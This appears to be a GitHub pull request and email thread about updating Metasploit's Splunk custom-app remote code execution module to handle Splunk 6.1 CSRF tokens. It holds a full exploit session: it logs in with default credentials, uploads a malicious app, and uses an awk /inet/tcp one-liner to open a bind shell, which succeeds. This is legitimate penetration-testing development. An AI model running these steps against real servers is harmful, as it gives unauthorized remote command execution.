Updated splunk_upload_app_exec for Splunk 6.1

Updated existing module to use Splunk 6.1 cookie-based csrf tokens in addition to the old 5.0 page source method. If 5.0 method fails then the token grabber will try the 6.1 method. 

This has been verified to work on Splunk Free 6.1 and 6.11 for Linux, but not tested in Windows or older 5.0 installs of Splunk. The only possible incompatibility with 5.0 of Splunk is the inclusion of the csrf cookie with the authentication cookies...but I hope their programmers were not so sloppy as an extra cookie breaks things.

Execution and default options used:

````
msf > use exploit/multi/http/splunk_upload_app_exec
msf exploit(splunk_upload_app_exec) > set LHOST 192.168.XXX.YYY
LHOST => 192.168.XXX.YYY
msf exploit(splunk_upload_app_exec) > set RPORT 8000
RPORT => 8000
msf exploit(splunk_upload_app_exec) > set LPORT 26436
LPORT => 26436
msf exploit(splunk_upload_app_exec) > set RHOST 192.168.XXX.ZZZ
RHOST => 192.168.XXX.ZZZ
msf exploit(splunk_upload_app_exec) > set PAYLOAD generic/shell_bind_tcp
PAYLOAD => generic/shell_bind_tcp
msf exploit(splunk_upload_app_exec) > set TARGET 0
TARGET => 0
msf exploit(splunk_upload_app_exec) > set SPLUNK_APP_FILE /opt/metasploit/apps/pro/msf3/data/exploits/splunk/upload_app_exec.tgz
SPLUNK_APP_FILE => /opt/metasploit/apps/pro/msf3/data/exploits/splunk/upload_app_exec.tgz
msf exploit(splunk_upload_app_exec) > set USERNAME admin
USERNAME => admin
msf exploit(splunk_upload_app_exec) > set PASSWORD changeme
PASSWORD => changeme
msf exploit(splunk_upload_app_exec) > exploit -j
[*] Exploit running as background job.
[*] Using command: awk 'BEGIN{s="/inet/tcp/26436/0/0";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
[*] Authenticating...
[*] Started bind handler
[*] Fetching csrf token from /en-US/manager/launcher/apps/local
[*] Uploading file upload_app_exec.tgz
[*] upload_app_exec successfully uploaded
[*] Fetching csrf token from /en-US/app/upload_app_exec/flashtimeline
[*] Invoking script command
[*] Command shell session 1 opened (192.168.XXX.YYY:46767 -> 192.168.XXX.ZZZ:26436) at 2014-06-19 08:42:52 -0700
[*] 192.168.XXX.ZZZ - Command shell session 1 closed.
````
if you make the change and push it, the pull request will be automagically updated.

On Jun 19, 2014, at 1:15 PM, zombie042 <notifications@github.com> wrote:

> In modules/exploits/multi/http/splunk_upload_app_exec.rb:
> 
> > @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
> >  
> >    def initialize(info = {})
> >      super(update_info(info,
> > -      'Name'           => 'Splunk 5.0 Custom App Remote Code Execution',
> > +      'Name'           => 'Splunk 5.0/6.1 Custom App Remote Code Execution',
> Easily done. As I am new to contributing to metasploit, do you prefer I make the changed and recommit the pull? Or what is the proper way to do this?
> 
> —
> Reply to this email directly or view it on GitHub.
>